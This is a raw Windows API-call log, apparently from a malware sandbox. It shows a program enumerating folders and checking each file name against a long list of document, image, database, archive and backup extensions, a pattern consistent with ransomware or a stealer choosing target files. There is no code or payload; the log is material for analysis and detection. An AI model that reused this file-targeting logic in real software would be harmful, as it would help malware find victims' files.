	[0174.948] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1
	[0174.948] lstrlenW (lpString=".anim") returned 5
	[0174.948] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1
	[0174.948] lstrlenW (lpString=".arw") returned 4
	[0174.948] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1
	[0174.948] lstrlenW (lpString=".as") returned 3
	[0174.948] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1
	[0174.948] lstrlenW (lpString=".asa") returned 4
	[0174.948] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1
	[0174.948] lstrlenW (lpString=".asc") returned 4
	[0174.948] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1
	[0174.948] lstrlenW (lpString=".ascx") returned 5
	[0174.948] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1
	[0174.948] lstrlenW (lpString=".asm") returned 4
	[0174.948] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1
	[0174.948] lstrlenW (lpString=".asmx") returned 5
	[0174.948] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1
	[0174.948] lstrlenW (lpString=".asp") returned 4
	[0174.948] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1
	[0174.948] lstrlenW (lpString=".aspx") returned 5
	[0174.948] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1
	[0174.948] lstrlenW (lpString=".asr") returned 4
	[0174.948] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1
	[0174.948] lstrlenW (lpString=".asx") returned 4
	[0174.948] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1
	[0174.948] lstrlenW (lpString=".avi") returned 4
	[0174.949] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1
	[0174.949] lstrlenW (lpString=".avs") returned 4
	[0174.949] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1
	[0174.949] lstrlenW (lpString=".backup") returned 7
	[0174.949] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1
	[0174.949] lstrlenW (lpString=".bak") returned 4
	[0174.949] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1
	[0174.949] lstrlenW (lpString=".bay") returned 4
	[0174.949] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1
	[0174.949] lstrlenW (lpString=".bd") returned 3
	[0174.949] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1
	[0174.949] lstrlenW (lpString=".bin") returned 4
	[0174.949] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1
	[0174.949] lstrlenW (lpString=".bmp") returned 4
	[0174.949] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1
	[0174.949] lstrlenW (lpString=".bz2") returned 4
	[0174.949] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1
	[0174.949] lstrlenW (lpString=".c") returned 2
	[0174.949] lstrcmpiW (lpString1=".c", lpString2="js") returned -1
	[0174.949] lstrlenW (lpString=".cdr") returned 4
	[0174.949] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1
	[0174.949] lstrlenW (lpString=".cer") returned 4
	[0174.949] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1
	[0174.949] lstrlenW (lpString=".cf") returned 3
	[0174.949] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1
	[0174.949] lstrlenW (lpString=".cfc") returned 4
	[0174.949] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1
	[0174.949] lstrlenW (lpString=".cfm") returned 4
	[0174.949] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1
	[0174.949] lstrlenW (lpString=".cfml") returned 5
	[0174.949] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1
	[0174.949] lstrlenW (lpString=".cfu") returned 4
	[0174.949] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1
	[0174.949] lstrlenW (lpString=".chm") returned 4
	[0174.949] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1
	[0174.949] lstrlenW (lpString=".cin") returned 4
	[0174.950] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1
	[0174.950] lstrlenW (lpString=".class") returned 6
	[0174.950] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1
	[0174.950] lstrlenW (lpString=".clx") returned 4
	[0174.950] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1
	[0174.950] lstrlenW (lpString=".config") returned 7
	[0174.950] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1
	[0174.950] lstrlenW (lpString=".cpp") returned 4
	[0174.950] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1
	[0174.950] lstrlenW (lpString=".cr2") returned 4
	[0174.950] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1
	[0174.950] lstrlenW (lpString=".crt") returned 4
	[0174.950] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1
	[0174.950] lstrlenW (lpString=".crw") returned 4
	[0174.950] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1
	[0174.950] lstrlenW (lpString=".cs") returned 3
	[0174.950] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1
	[0174.950] lstrlenW (lpString=".css") returned 4
	[0174.950] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1
	[0174.950] lstrlenW (lpString=".csv") returned 4
	[0174.950] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1
	[0174.950] lstrlenW (lpString=".cub") returned 4
	[0174.950] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1
	[0174.950] lstrlenW (lpString=".dae") returned 4
	[0174.950] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1
	[0174.950] lstrlenW (lpString=".dat") returned 4
	[0174.950] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1
	[0174.950] lstrlenW (lpString=".db") returned 3
	[0174.950] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1
	[0174.950] lstrlenW (lpString=".dbf") returned 4
	[0174.950] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1
	[0174.950] lstrlenW (lpString=".dbx") returned 4
	[0174.950] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1
	[0174.950] lstrlenW (lpString=".dc3") returned 4
	[0174.950] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1
	[0174.950] lstrlenW (lpString=".dcm") returned 4
	[0174.951] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1
	[0174.951] lstrlenW (lpString=".dcr") returned 4
	[0174.951] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1
	[0174.951] lstrlenW (lpString=".der") returned 4
	[0174.951] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1
	[0174.951] lstrlenW (lpString=".dib") returned 4
	[0174.951] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1
	[0174.951] lstrlenW (lpString=".dic") returned 4
	[0174.951] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1
	[0174.951] lstrlenW (lpString=".dif") returned 4
	[0174.951] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1
	[0174.951] lstrlenW (lpString=".divx") returned 5
	[0174.951] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1
	[0174.951] lstrlenW (lpString=".djvu") returned 5
	[0174.951] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1
	[0174.951] lstrlenW (lpString=".dng") returned 4
	[0174.951] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1
	[0174.951] lstrlenW (lpString=".doc") returned 4
	[0174.951] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1
	[0174.951] lstrlenW (lpString=".docm") returned 5
	[0174.951] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1
	[0174.951] lstrlenW (lpString=".docx") returned 5
	[0174.951] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1
	[0174.951] lstrlenW (lpString=".dot") returned 4
	[0174.951] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1
	[0174.951] lstrlenW (lpString=".dotm") returned 5
	[0174.951] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1
	[0174.951] lstrlenW (lpString=".dotx") returned 5
	[0174.951] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1
	[0174.951] lstrlenW (lpString=".dpx") returned 4
	[0174.951] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1
	[0174.951] lstrlenW (lpString=".dqy") returned 4
	[0174.951] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1
	[0174.951] lstrlenW (lpString=".dsn") returned 4
	[0174.951] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1
	[0174.951] lstrlenW (lpString=".dt") returned 3
	[0174.952] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1
	[0174.952] lstrlenW (lpString=".dtd") returned 4
	[0174.952] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1
	[0174.952] lstrlenW (lpString=".dwg") returned 4
	[0174.952] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1
	[0174.952] lstrlenW (lpString=".dwt") returned 4
	[0174.952] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1
	[0174.952] lstrlenW (lpString=".dx") returned 3
	[0174.952] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1
	[0174.952] lstrlenW (lpString=".dxf") returned 4
	[0174.952] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1
	[0174.952] lstrlenW (lpString=".edml") returned 5
	[0174.952] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1
	[0174.952] lstrlenW (lpString=".efd") returned 4
	[0174.952] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1
	[0174.952] lstrlenW (lpString=".elf") returned 4
	[0174.952] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1
	[0174.952] lstrlenW (lpString=".emf") returned 4
	[0174.952] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1
	[0174.952] lstrlenW (lpString=".emz") returned 4
	[0174.952] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1
	[0174.952] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.952] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0174.952] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.952] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1
	[0174.953] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.953] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0174.953] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.953] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0174.953] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.953] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0174.953] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.953] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0174.953] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.954] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0174.954] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.954] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0174.954] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.954] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0174.954] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.954] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0174.954] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.954] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0174.954] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.954] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0174.955] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.955] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0174.955] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.955] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0174.955] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.955] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0174.955] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.955] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0174.955] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.955] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0174.956] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.956] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0174.956] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.956] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0174.956] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.956] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0174.956] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.956] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0174.956] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.956] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0174.957] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42b29b0 | out: hHeap=0x5a0000) returned 1
	[0174.957] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0174.957] FindClose (in: hFindFile=0x4140c58 | out: hFindFile=0x4140c58) returned 1
	[0174.957] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0174.957] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3e36, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1
	[0174.957] lstrlenW (lpString="plugin.js") returned 9
	[0174.957] lstrlenW (lpString=".1cd") returned 4
	[0174.957] lstrcmpiW (lpString1=".1cd", lpString2="n.js") returned -1
	[0174.957] lstrlenW (lpString=".3ds") returned 4
	[0174.957] lstrcmpiW (lpString1=".3ds", lpString2="n.js") returned -1
	[0174.957] lstrlenW (lpString=".3fr") returned 4
	[0174.957] lstrcmpiW (lpString1=".3fr", lpString2="n.js") returned -1
	[0174.957] lstrlenW (lpString=".3g2") returned 4
	[0174.958] lstrcmpiW (lpString1=".3g2", lpString2="n.js") returned -1
	[0174.958] lstrlenW (lpString=".3gp") returned 4
	[0174.958] lstrcmpiW (lpString1=".3gp", lpString2="n.js") returned -1
	[0174.958] lstrlenW (lpString=".7z") returned 3
	[0174.958] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1
	[0174.958] lstrlenW (lpString=".accda") returned 6
	[0174.958] lstrcmpiW (lpString1=".accda", lpString2="gin.js") returned -1
	[0174.958] lstrlenW (lpString=".accdb") returned 6
	[0174.958] lstrcmpiW (lpString1=".accdb", lpString2="gin.js") returned -1
	[0174.958] lstrlenW (lpString=".accdc") returned 6
	[0174.958] lstrcmpiW (lpString1=".accdc", lpString2="gin.js") returned -1
